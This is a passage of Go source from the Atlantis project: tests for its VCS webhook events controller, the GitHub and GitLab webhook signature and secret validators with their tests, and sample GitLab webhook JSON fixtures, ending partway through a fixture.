fmt.Sprintf(`{ "subscriptionId": "11111111-1111-1111-1111-111111111111", "notificationId": 1, "id": "22222222-2222-2222-2222-222222222222", "eventType": "ms.vss-code.git-pullrequest-comment-event", "publisherId": "tfs", "message": { "text": "Testing to see if comment passes ignore conditions" }, "resource": { "comment": { "id": 1, "commentType": "text", "content": "%v" }, "pullRequest": { "pullRequestId": 1, "repository": {} } } }`, testComment) t.Run("Testing to see if comment passes ignore conditions", func(t *testing.T) { req, _ := http.NewRequest("GET", "", strings.NewReader(payload)) req.Header.Set(azuredevopsHeader, "reqID") When(ado.Validate(req, user, secret)).ThenReturn([]byte(payload), nil) w := httptest.NewRecorder() e.Post(w, req) ResponseContains(t, w, http.StatusOK, "Processing...") }) } func TestPost_GithubPullRequestClosedErrCleaningPull(t *testing.T) { t.Skip("relies too much on mocks, should use real event parser") t.Log("when the event is a closed pull request and we have an error calling CleanUpPull we return a 503") RegisterMockTestingT(t) e, v, _, _, p, _, c, _, _ := setup(t) req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(githubHeader, "pull_request") event := `{"action": "closed"}` When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) repo := models.Repo{} pull := models.PullRequest{State: models.ClosedPullState} When(p.ParseGithubPullEvent(Any[logging.SimpleLogging](), Any[*github.PullRequestEvent]())).ThenReturn(pull, models.OpenedPullEvent, repo, repo, models.User{}, nil) When(c.CleanUpPull(Any[logging.SimpleLogging](), repo, pull)).ThenReturn(errors.New("cleanup err")) w := httptest.NewRecorder() e.Post(w, req) ResponseContains(t, w, http.StatusInternalServerError, "Error cleaning pull request: cleanup err") } func TestPost_GitlabMergeRequestClosedErrCleaningPull(t *testing.T) { t.Skip("relies too much on mocks, should use real event parser") t.Log("when the event is a closed gitlab merge request and an error occurs calling CleanUpPull we return a 500") e, _, gl, _, p, _, c, _, _ := setup(t) req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(gitlabHeader, "value") var event gitlab.MergeEvent event.ObjectAttributes.Action = "close" When(gl.ParseAndValidate(req, secret)).ThenReturn(event, nil) repo := models.Repo{} pullRequest := models.PullRequest{State: models.ClosedPullState} When(p.ParseGitlabMergeRequestEvent(event)).ThenReturn(pullRequest, models.OpenedPullEvent, repo, repo, models.User{}, nil) When(c.CleanUpPull(Any[logging.SimpleLogging](), repo, pullRequest)).ThenReturn(errors.New("err")) w := httptest.NewRecorder() e.Post(w, req) ResponseContains(t, w, http.StatusInternalServerError, "Error cleaning pull request: err") } func TestPost_GithubClosedPullRequestSuccess(t *testing.T) { t.Skip("relies too much on mocks, should use real event parser") t.Log("when the event is a pull request and everything works we return a 200") e, v, _, _, p, _, c, _, _ := setup(t) req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(githubHeader, "pull_request") event := `{"action": "closed"}` When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) repo := models.Repo{} pull := models.PullRequest{State: models.ClosedPullState} When(p.ParseGithubPullEvent(Any[logging.SimpleLogging](), Any[*github.PullRequestEvent]())).ThenReturn(pull, models.OpenedPullEvent, repo, repo, models.User{}, nil) When(c.CleanUpPull(Any[logging.SimpleLogging](), repo, pull)).ThenReturn(nil) w := httptest.NewRecorder() e.Post(w, req) ResponseContains(t, w, http.StatusOK, "Pull request cleaned successfully") } func TestPost_GitlabMergeRequestSuccess(t *testing.T) { t.Skip("relies too much on mocks, should use real event parser") t.Log("when the event is a gitlab merge request and the cleanup works we return a 200") e, _, gl, _, p, _, _, _, _ := setup(t) req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req.Header.Set(gitlabHeader, "value") When(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeEvent{}, nil) repo := models.Repo{} pullRequest := models.PullRequest{State: models.ClosedPullState} When(p.ParseGitlabMergeRequestEvent(gitlab.MergeEvent{})).ThenReturn(pullRequest, models.OpenedPullEvent, repo, repo, models.User{}, nil) w := httptest.NewRecorder() e.Post(w, req) ResponseContains(t, w, http.StatusOK, "Pull request cleaned successfully") } // Test Bitbucket server pull closed events. func TestPost_BBServerPullClosed(t *testing.T) { cases := []struct { header string }{ { "pr:deleted", }, { "pr:merged", }, { "pr:declined", }, } for _, c := range cases { t.Run(c.header, func(t *testing.T) { RegisterMockTestingT(t) pullCleaner := emocks.NewMockPullCleaner() allowlist, err := events.NewRepoAllowlistChecker("*") Ok(t, err) logger := logging.NewNoopLogger(t) scope := metricstest.NewLoggingScope(t, logger, "null") ec := &events_controllers.VCSEventsController{ PullCleaner: pullCleaner, Parser: &events.EventParser{ BitbucketUser: "bb-user", BitbucketToken: "bb-token", BitbucketServerURL: "https://bbserver.com", }, RepoAllowlistChecker: allowlist, SupportedVCSHosts: []models.VCSHostType{models.BitbucketServer}, VCSClient: nil, Logger: logger, Scope: scope, } // Build HTTP request. requestBytes, err := os.ReadFile(filepath.Join("testdata", "bb-server-pull-deleted-event.json")) // Replace the eventKey field with our event type. requestJSON := strings.ReplaceAll(string(requestBytes), `"eventKey":"pr:deleted",`, fmt.Sprintf(`"eventKey":"%s",`, c.header)) Ok(t, err) req, err := http.NewRequest("POST", "/events", bytes.NewBuffer([]byte(requestJSON))) Ok(t, err) req.Header.Set("Content-Type", "application/json") req.Header.Set("X-Event-Key", c.header) req.Header.Set("X-Request-ID", "request-id") // Send the request. w := httptest.NewRecorder() ec.Post(w, req) // Make our assertions. ResponseContains(t, w, 200, "Pull request cleaned successfully") expRepo := models.Repo{ FullName: "project/repository", Owner: "project", Name: "repository", CloneURL: "https://bb-user:bb-token@bbserver.com/scm/proj/repository.git", SanitizedCloneURL: "https://bb-user:@bbserver.com/scm/proj/repository.git", VCSHost: models.VCSHost{ Hostname: "bbserver.com", Type: models.BitbucketServer, }, } pullCleaner.VerifyWasCalledOnce().CleanUpPull( logger, expRepo, models.PullRequest{ Num: 10, HeadCommit: "2d9fb6b9a46eafb1dcef7b008d1a429d45ca742c", URL: "https://bbserver.com/projects/PROJ/repos/repository/pull-requests/10", HeadBranch: "decline-me", BaseBranch: "main", Author: "admin", State: models.OpenPullState, BaseRepo: expRepo, }) }) } } func TestPost_PullOpenedOrUpdated(t *testing.T) { cases := []struct { Description string HostType models.VCSHostType Action string }{ { "github opened", models.Github, "opened", }, { "gitlab opened", models.Gitlab, "open", }, { "github synchronized", models.Github, "synchronize", }, { "gitlab update", models.Gitlab, "update", }, } for _, c := range cases { t.Run(c.Description, func(t *testing.T) { e, v, gl, _, p, cr, _, _, _ := setup(t) req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) var pullRequest models.PullRequest var repo models.Repo switch c.HostType { case models.Gitlab: req.Header.Set(gitlabHeader, "value") var event gitlab.MergeEvent event.ObjectAttributes.Action = c.Action When(gl.ParseAndValidate(req, secret)).ThenReturn(event, nil) repo = models.Repo{} pullRequest = models.PullRequest{State: models.ClosedPullState} When(p.ParseGitlabMergeRequestEvent(event)).ThenReturn(pullRequest, models.OpenedPullEvent, repo, repo, models.User{}, nil) case models.Github: req.Header.Set(githubHeader, "pull_request") event := fmt.Sprintf(`{"action": "%s"}`, c.Action) When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) repo = models.Repo{} pullRequest = models.PullRequest{State: models.ClosedPullState} When(p.ParseGithubPullEvent(Any[logging.SimpleLogging](), Any[*github.PullRequestEvent]())).ThenReturn(pullRequest, models.OpenedPullEvent, repo, repo, models.User{}, nil) } w := httptest.NewRecorder() e.Post(w, req) ResponseContains(t, w, http.StatusOK, "Processing...") cr.VerifyWasCalledOnce().RunAutoplanCommand(models.Repo{}, models.Repo{}, models.PullRequest{State: models.ClosedPullState}, models.User{}) }) } } func setup(t *testing.T) (events_controllers.VCSEventsController, *mocks.MockGithubRequestValidator, *mocks.MockGitlabRequestParserValidator, *mocks.MockAzureDevopsRequestValidator, *emocks.MockEventParsing, *emocks.MockCommandRunner, *emocks.MockPullCleaner, *vcsmocks.MockClient, *emocks.MockCommentParsing) { RegisterMockTestingT(t) v := mocks.NewMockGithubRequestValidator() gl := mocks.NewMockGitlabRequestParserValidator() ado := mocks.NewMockAzureDevopsRequestValidator() p := emocks.NewMockEventParsing() cp := emocks.NewMockCommentParsing() cr := emocks.NewMockCommandRunner() c := emocks.NewMockPullCleaner() vcsmock := vcsmocks.NewMockClient() repoAllowlistChecker, err := events.NewRepoAllowlistChecker("*") Ok(t, err) logger := logging.NewNoopLogger(t) scope := metricstest.NewLoggingScope(t, logger, "null") e := events_controllers.VCSEventsController{ ExecutableName: "atlantis", EmojiReaction: "eyes", TestingMode: true, Logger: logger, Scope: scope, ApplyDisabled: false, AzureDevopsWebhookBasicUser: user, AzureDevopsWebhookBasicPassword: secret, AzureDevopsRequestValidator: ado, GithubRequestValidator: v, Parser: p, CommentParser: cp, CommandRunner: cr, PullCleaner: c, GithubWebhookSecret: secret, SupportedVCSHosts: []models.VCSHostType{models.Github, models.Gitlab, models.AzureDevops, models.Gitea}, GiteaWebhookSecret: secret, GitlabWebhookSecret: secret, GitlabRequestParserValidator: gl, RepoAllowlistChecker: repoAllowlistChecker, VCSClient: vcsmock, } return e, v, gl, ado, p, cr, c, vcsmock, cp } ================================================ FILE: server/controllers/events/github_request_validator.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events import ( "errors" "fmt" "io" "net/http" "github.com/google/go-github/v83/github" ) //go:generate pegomock generate --package mocks -o mocks/mock_github_request_validator.go GithubRequestValidator // GithubRequestValidator handles checking if GitHub requests are signed // properly by the secret. type GithubRequestValidator interface { // Validate returns the JSON payload of the request. // If secret is not empty, it checks that the request was signed // by secret and returns an error if it was not. // If secret is empty, it does not check if the request was signed. Validate(r *http.Request, secret []byte) ([]byte, error) } // DefaultGithubRequestValidator handles checking if GitHub requests are signed // properly by the secret. type DefaultGithubRequestValidator struct{} // Validate returns the JSON payload of the request. // If secret is not empty, it checks that the request was signed // by secret and returns an error if it was not. // If secret is empty, it does not check if the request was signed. func (d *DefaultGithubRequestValidator) Validate(r *http.Request, secret []byte) ([]byte, error) { if len(secret) != 0 { return d.validateAgainstSecret(r, secret) } return d.validateWithoutSecret(r) } func (d *DefaultGithubRequestValidator) validateAgainstSecret(r *http.Request, secret []byte) ([]byte, error) { payload, err := github.ValidatePayload(r, secret) if err != nil { return nil, err } return payload, nil } func (d *DefaultGithubRequestValidator) validateWithoutSecret(r *http.Request) ([]byte, error) { switch ct := r.Header.Get("Content-Type"); ct { case "application/json": payload, err := io.ReadAll(r.Body) if err != nil { return nil, fmt.Errorf("could not read body: %s", err) } return payload, nil case "application/x-www-form-urlencoded": // GitHub stores the json payload as a form value. payloadForm := r.FormValue("payload") if payloadForm == "" { return nil, errors.New("webhook request did not contain expected 'payload' form value") } return []byte(payloadForm), nil default: return nil, fmt.Errorf("webhook request has unsupported Content-Type %q", ct) } } ================================================ FILE: server/controllers/events/github_request_validator_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events_test import ( "bytes" "net/http" "net/url" "testing" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/controllers/events" . "github.com/runatlantis/atlantis/testing" ) func TestValidate_WithSecretErr(t *testing.T) { t.Log("if the request is not valid against the secret there is an error") RegisterMockTestingT(t) g := events.DefaultGithubRequestValidator{} buf := bytes.NewBufferString("") req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) req.Header.Set("X-Hub-Signature", "sha1=126f2c800419c60137ce748d7672e77b65cf16d6") req.Header.Set("Content-Type", "application/json") _, err = g.Validate(req, []byte("secret")) Assert(t, err != nil, "error should not be nil") Equals(t, "payload signature check failed", err.Error()) } func TestValidate_WithSecret(t *testing.T) { t.Log("if the request is valid against the secret the payload is returned") RegisterMockTestingT(t) g := events.DefaultGithubRequestValidator{} buf := bytes.NewBufferString(`{"yo":true}`) req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) req.Header.Set("X-Hub-Signature", "sha1=126f2c800419c60137ce748d7672e77b65cf16d6") req.Header.Set("Content-Type", "application/json") bs, err := g.Validate(req, []byte("0123456789abcdef")) Ok(t, err) Equals(t, `{"yo":true}`, string(bs)) } func TestValidate_WithoutSecretInvalidContentType(t *testing.T) { t.Log("if the request has an invalid content type an error is returned") RegisterMockTestingT(t) g := events.DefaultGithubRequestValidator{} buf := bytes.NewBufferString("") req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) req.Header.Set("Content-Type", "invalid") _, err = g.Validate(req, nil) Assert(t, err != nil, "error should not be nil") Equals(t, "webhook request has unsupported Content-Type \"invalid\"", err.Error()) } func TestValidate_WithoutSecretJSON(t *testing.T) { t.Log("if the request is JSON the body is returned") RegisterMockTestingT(t) g := events.DefaultGithubRequestValidator{} buf := bytes.NewBufferString(`{"yo":true}`) req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) req.Header.Set("Content-Type", "application/json") bs, err := g.Validate(req, nil) Ok(t, err) Equals(t, `{"yo":true}`, string(bs)) } func TestValidate_WithoutSecretFormNoPayload(t *testing.T) { t.Log("if the request is form encoded and does not contain a payload param an error is returned") RegisterMockTestingT(t) g := events.DefaultGithubRequestValidator{} buf := bytes.NewBufferString("") req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") _, err = g.Validate(req, nil) Assert(t, err != nil, "error should not be nil") Equals(t, "webhook request did not contain expected 'payload' form value", err.Error()) } func TestValidate_WithoutSecretForm(t *testing.T) { t.Log("if the request is form encoded and does not contain a payload param an error is returned") RegisterMockTestingT(t) g := events.DefaultGithubRequestValidator{} form := url.Values{} form.Set("payload", `{"yo":true}`) buf := bytes.NewBufferString(form.Encode()) req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") bs, err := g.Validate(req, nil) Ok(t, err) Equals(t, `{"yo":true}`, string(bs)) } ================================================ FILE: server/controllers/events/gitlab_request_parser_validator.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events import ( "crypto/subtle" "encoding/json" "fmt" "io" "net/http" gitlab "gitlab.com/gitlab-org/api/client-go" ) const secretHeader = "X-Gitlab-Token" // #nosec //go:generate pegomock generate --package mocks -o mocks/mock_gitlab_request_parser_validator.go GitlabRequestParserValidator // GitlabRequestParserValidator parses and validates GitLab requests. type GitlabRequestParserValidator interface { // ParseAndValidate validates that the request has a token header matching secret. // If the secret does not match it returns an error. // If secret is empty it does not check the token header. // It then parses the request as a GitLab object depending on the header // provided by GitLab identifying the webhook type. If the webhook type // is not recognized it will return nil but will not return an error. // Usage: // event, err := GitlabRequestParserValidator.ParseAndValidate(r, secret) // if err != nil { // return // } // switch event := event.(type) { // case gitlab.MergeCommentEvent: // // handle // case gitlab.MergeEvent: // // handle // default: // // unsupported event // } ParseAndValidate(r *http.Request, secret []byte) (any, error) } // DefaultGitlabRequestParserValidator parses and validates GitLab requests. type DefaultGitlabRequestParserValidator struct{} // ParseAndValidate returns the JSON payload of the request. // See GitlabRequestParserValidator.ParseAndValidate(). func (d *DefaultGitlabRequestParserValidator) ParseAndValidate(r *http.Request, secret []byte) (any, error) { const mergeEventHeader = "Merge Request Hook" const noteEventHeader = "Note Hook" // Validate secret if specified. headerSecret := r.Header.Get(secretHeader) if len(secret) != 0 && subtle.ConstantTimeCompare(secret, []byte(headerSecret)) != 1 { return nil, fmt.Errorf("header %s=%s did not match expected secret", secretHeader, headerSecret) } // Parse request into a gitlab object based on the object type specified // in the gitlabHeader. bytes, err := io.ReadAll(r.Body) if err != nil { return nil, err } switch r.Header.Get(gitlabHeader) { case mergeEventHeader: var m gitlab.MergeEvent if err := json.Unmarshal(bytes, &m); err != nil { return nil, err } return m, nil case noteEventHeader: // First, parse a small part of the json to determine if this is a // comment on a merge request or a commit. var subset struct { ObjectAttributes struct { NoteableType string `json:"noteable_type"` } `json:"object_attributes"` } if err := json.Unmarshal(bytes, &subset); err != nil { return nil, err } // We then parse into the correct comment event type. switch subset.ObjectAttributes.NoteableType { case "Commit": var e gitlab.CommitCommentEvent err := json.Unmarshal(bytes, &e) return e, err case "MergeRequest": var e gitlab.MergeCommentEvent err := json.Unmarshal(bytes, &e) return e, err } } return nil, nil } ================================================ FILE: server/controllers/events/gitlab_request_parser_validator_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events_test import ( "bytes" "net/http" "reflect" "testing" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/controllers/events" . "github.com/runatlantis/atlantis/testing" gitlab "gitlab.com/gitlab-org/api/client-go" ) var parser = events.DefaultGitlabRequestParserValidator{} func TestValidate_InvalidSecret(t *testing.T) { t.Log("If the secret header is set and doesn't match expected an error is returned") RegisterMockTestingT(t) buf := bytes.NewBufferString("") req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) req.Header.Set("X-Gitlab-Token", "does-not-match") _, err = parser.ParseAndValidate(req, []byte("secret")) Assert(t, err != nil, "should be an error") Equals(t, "header X-Gitlab-Token=does-not-match did not match expected secret", err.Error()) } func TestValidate_ValidSecret(t *testing.T) { t.Log("If the secret header matches then the event is returned") RegisterMockTestingT(t) buf := bytes.NewBufferString(mergeEventJSON) req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) req.Header.Set("X-Gitlab-Token", "secret") req.Header.Set("X-Gitlab-Event", "Merge Request Hook") b, err := parser.ParseAndValidate(req, []byte("secret")) Ok(t, err) Equals(t, "atlantis-example", b.(gitlab.MergeEvent).Project.Name) } func TestValidate_NoSecret(t *testing.T) { t.Log("If there is no secret then we ignore the secret header and return the event") RegisterMockTestingT(t) buf := bytes.NewBufferString(mergeEventJSON) req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) req.Header.Set("X-Gitlab-Token", "random secret") req.Header.Set("X-Gitlab-Event", "Merge Request Hook") b, err := parser.ParseAndValidate(req, nil) Ok(t, err) Equals(t, "atlantis-example", b.(gitlab.MergeEvent).Project.Name) } func TestValidate_InvalidMergeEvent(t *testing.T) { t.Log("If the merge event is malformed there should be an error") RegisterMockTestingT(t) buf := bytes.NewBufferString("{") req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) req.Header.Set("X-Gitlab-Event", "Merge Request Hook") _, err = parser.ParseAndValidate(req, nil) Assert(t, err != nil, "should be an error") Equals(t, "unexpected end of JSON input", err.Error()) } func TestValidate_InvalidMergeCommentEvent(t *testing.T) { t.Log("If the merge comment event is malformed there should be an error") RegisterMockTestingT(t) buf := bytes.NewBufferString("{") req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) req.Header.Set("X-Gitlab-Event", "Note Hook") _, err = parser.ParseAndValidate(req, nil) Assert(t, err != nil, "should be an error") Equals(t, "unexpected end of JSON input", err.Error()) } func TestValidate_UnrecognizedEvent(t *testing.T) { t.Log("If the event is not one we care about we return nil") RegisterMockTestingT(t) buf := bytes.NewBufferString("") req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) req.Header.Set("X-Gitlab-Event", "Random Event") event, err := parser.ParseAndValidate(req, nil) Ok(t, err) Equals(t, nil, event) } func TestValidate_ValidMergeEvent(t *testing.T) { t.Log("If the merge event is valid it should be returned") RegisterMockTestingT(t) buf := bytes.NewBufferString(mergeEventJSON) req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) req.Header.Set("X-Gitlab-Event", "Merge Request Hook") b, err := parser.ParseAndValidate(req, nil) Ok(t, err) Equals(t, "atlantis-example", b.(gitlab.MergeEvent).Project.Name) } // If the comment was on a commit instead of a merge request, make sure we // return the right object. func TestValidate_CommitCommentEvent(t *testing.T) { RegisterMockTestingT(t) buf := bytes.NewBufferString(commitCommentEventJSON) req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) req.Header.Set("X-Gitlab-Event", "Note Hook") b, err := parser.ParseAndValidate(req, nil) Ok(t, err) Equals(t, "gitlab.CommitCommentEvent", reflect.TypeOf(b).String()) } func TestValidate_ValidMergeCommentEvent(t *testing.T) { t.Log("If the merge comment event is valid it should be returned") RegisterMockTestingT(t) buf := bytes.NewBufferString(mergeCommentEventJSON) req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) req.Header.Set("X-Gitlab-Event", "Note Hook") b, err := parser.ParseAndValidate(req, nil) Ok(t, err) Equals(t, "Gitlab Test", b.(gitlab.MergeCommentEvent).Project.Name) } var mergeEventJSON = `{ "object_kind": "merge_request", "event_type": "merge_request", "user": { "name": "Luke Kysow", "username": "lkysow", "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon" }, "project": { "id": 4580910, "name": "atlantis-example", "description": "", "web_url": "https://gitlab.com/lkysow/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:lkysow/atlantis-example.git", "git_http_url": "https://gitlab.com/lkysow/atlantis-example.git", "namespace": "lkysow", "visibility_level": 20, "path_with_namespace": "lkysow/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/lkysow/atlantis-example", "url": "git@gitlab.com:lkysow/atlantis-example.git", "ssh_url": "git@gitlab.com:lkysow/atlantis-example.git", "http_url": "https://gitlab.com/lkysow/atlantis-example.git" }, "object_attributes": { "assignee_id": null, "author_id": 1755902, "created_at": "2018-12-12 16:15:21 UTC", "description": "", "head_pipeline_id": null, "id": 20809239, "iid": 12, "last_edited_at": null, "last_edited_by_id": null, "merge_commit_sha": null, "merge_error": null, "merge_params": { "force_remove_source_branch": false }, "merge_status": "unchecked", "merge_user_id": null, "merge_when_pipeline_succeeds": false, "milestone_id": null, "source_branch": "patch-1", "source_project_id": 4580910, "state": "opened", "target_branch": "main", "target_project_id": 4580910, "time_estimate": 0, "title": "Update main.tf", "updated_at": "2018-12-12 16:15:21 UTC", "updated_by_id": null, "url": "https://gitlab.com/lkysow/atlantis-example/merge_requests/12", "source": { "id": 4580910, "name": "atlantis-example", "description": "", "web_url": "https://gitlab.com/sourceorg/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:sourceorg/atlantis-example.git", "git_http_url": "https://gitlab.com/sourceorg/atlantis-example.git", "namespace": "sourceorg", "visibility_level": 20, "path_with_namespace": "sourceorg/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/sourceorg/atlantis-example", "url": "git@gitlab.com:sourceorg/atlantis-example.git", "ssh_url": "git@gitlab.com:sourceorg/atlantis-example.git", "http_url": "https://gitlab.com/sourceorg/atlantis-example.git" }, "target": { "id": 4580910, "name": "atlantis-example", "description": "", "web_url": "https://gitlab.com/lkysow/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:lkysow/atlantis-example.git", "git_http_url": "https://gitlab.com/lkysow/atlantis-example.git", "namespace": "lkysow", "visibility_level": 20, "path_with_namespace": "lkysow/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/lkysow/atlantis-example", "url": "git@gitlab.com:lkysow/atlantis-example.git", "ssh_url": "git@gitlab.com:lkysow/atlantis-example.git", "http_url": "https://gitlab.com/lkysow/atlantis-example.git" }, "last_commit": { "id": "d2eae324ca26242abca45d7b49d582cddb2a4f15", "message": "Update main.tf", "timestamp": "2018-12-12T16:15:10Z", "url": "https://gitlab.com/lkysow/atlantis-example/commit/d2eae324ca26242abca45d7b49d582cddb2a4f15", "author": { "name": "Luke Kysow", "email": "lkysow@gmail.com" } }, "work_in_progress": false, "total_time_spent": 0, "human_total_time_spent": null, "human_time_estimate": null, "action": "open" }, "labels": [ ], "changes": { "author_id": { "previous": null, "current": 1755902 }, "created_at": { "previous": null, "current": "2018-12-12 16:15:21 UTC" }, "description": { "previous": null, "current": "" }, "id": { "previous": null, "current": 20809239 }, "iid": { "previous": null, "current": 12 }, "merge_params": { "previous": { }, "current": { "force_remove_source_branch": false } }, "source_branch": { "previous": null, "current": "patch-1" }, "source_project_id": { "previous": null, "current": 4580910 }, "target_branch": { "previous": null, "current": "main" }, "target_project_id": { "previous": null, "current": 4580910 }, "title": { "previous": null, "current": "Update main.tf" }, "updated_at": { "previous": null, "current": "2018-12-12 16:15:21 UTC" }, "total_time_spent": { "previous": null, "current": 0 } }, "repository": { "name": "atlantis-example", "url": "git@gitlab.com:lkysow/atlantis-example.git", "description": "", "homepage": "https://gitlab.com/lkysow/atlantis-example" } } ` var mergeCommentEventJSON = `{ "object_kind": "note", "user": { "name": "Administrator", "username": "root", "avatar_url": "http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=40\u0026d=identicon" }, "project_id": 5, "project":{ "id": 5, "name":"Gitlab Test", "description":"Aut reprehenderit ut est.", "web_url":"http://example.com/gitlabhq/gitlab-test", "avatar_url":null, "git_ssh_url":"git@example.com:gitlabhq/gitlab-test.git", "git_http_url":"https://example.com/gitlabhq/gitlab-test.git", "namespace":"Gitlab Org", "visibility_level":10, "path_with_namespace":"gitlabhq/gitlab-test", "default_branch":"main", "homepage":"http://example.com/gitlabhq/gitlab-test", "url":"https://example.com/gitlabhq/gitlab-test.git", "ssh_url":"git@example.com:gitlabhq/gitlab-test.git", "http_url":"https://example.com/gitlabhq/gitlab-test.git" }, "repository":{ "name": "Gitlab Test", "url": "http://localhost/gitlab-org/gitlab-test.git", "description": "Aut reprehenderit ut est.", "homepage": "http://example.com/gitlab-org/gitlab-test" }, "object_attributes": { "id": 1244, "note": "This MR needs work.", "noteable_type": "MergeRequest", "author_id": 1, "created_at": "2015-05-17", "updated_at": "2015-05-17", "project_id": 5, "attachment": null, "line_code": null, "commit_id": "", "noteable_id": 7, "system": false, "st_diff": null, "url": "http://example.com/gitlab-org/gitlab-test/merge_requests/1#note_1244" }, "merge_request": { "id": 7, "target_branch": "markdown", "source_branch": "main", "source_project_id": 5, "author_id": 8, "assignee_id": 28, "title": "Tempora et eos debitis quae laborum et.", "created_at": "2015-03-01 20:12:53 UTC", "updated_at": "2015-03-21 18:27:27 UTC", "milestone_id": 11, "state": "opened", "merge_status": "cannot_be_merged", "target_project_id": 5, "iid": 1, "description": "Et voluptas corrupti assumenda temporibus. Architecto cum animi eveniet amet asperiores. Vitae numquam voluptate est natus sit et ad id.", "position": 0, "source":{ "name":"Gitlab Test", "description":"Aut reprehenderit ut est.", "web_url":"http://example.com/gitlab-org/gitlab-test", "avatar_url":null, "git_ssh_url":"git@example.com:gitlab-org/gitlab-test.git", "git_http_url":"https://example.com/gitlab-org/gitlab-test.git", "namespace":"Gitlab Org", "visibility_level":10, "path_with_namespace":"gitlab-org/gitlab-test", "default_branch":"main", "homepage":"http://example.com/gitlab-org/gitlab-test", "url":"https://example.com/gitlab-org/gitlab-test.git", "ssh_url":"git@example.com:gitlab-org/gitlab-test.git", "http_url":"https://example.com/gitlab-org/gitlab-test.git", "git_http_url":"https://example.com/gitlab-org/gitlab-test.git" }, "target": { "name":"Gitlab Test", "description":"Aut reprehenderit ut est.", "web_url":"http://example.com/gitlabhq/gitlab-test", "avatar_url":null, "git_ssh_url":"git@example.com:gitlabhq/gitlab-test.git", "git_http_url":"https://example.com/gitlabhq/gitlab-test.git", "namespace":"Gitlab Org", "visibility_level":10, "path_with_namespace":"gitlabhq/gitlab-test", "default_branch":"main", "homepage":"http://example.com/gitlabhq/gitlab-test", "url":"https://example.com/gitlabhq/gitlab-test.git", "ssh_url":"git@example.com:gitlabhq/gitlab-test.git", "http_url":"https://example.com/gitlabhq/gitlab-test.git" }, "last_commit": { "id": "562e173be03b8ff2efb05345d12df18815438a4b", "message": "Merge branch 'another-branch' into 'main'\n\nCheck in this test\n", "timestamp": "2002-10-02T10:00:00-05:00", "url": "http://example.com/gitlab-org/gitlab-test/commit/562e173be03b8ff2efb05345d12df18815438a4b", "author": { "name": "John Smith", "email": "john@example.com" } }, "work_in_progress": false, "assignee": { "name": "User1", "username": "user1", "avatar_url": "http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=40\u0026d=identicon" } } }` var commitCommentEventJSON = `{ "object_kind": "note", "user": { "name": "Administrator", "username": "root", 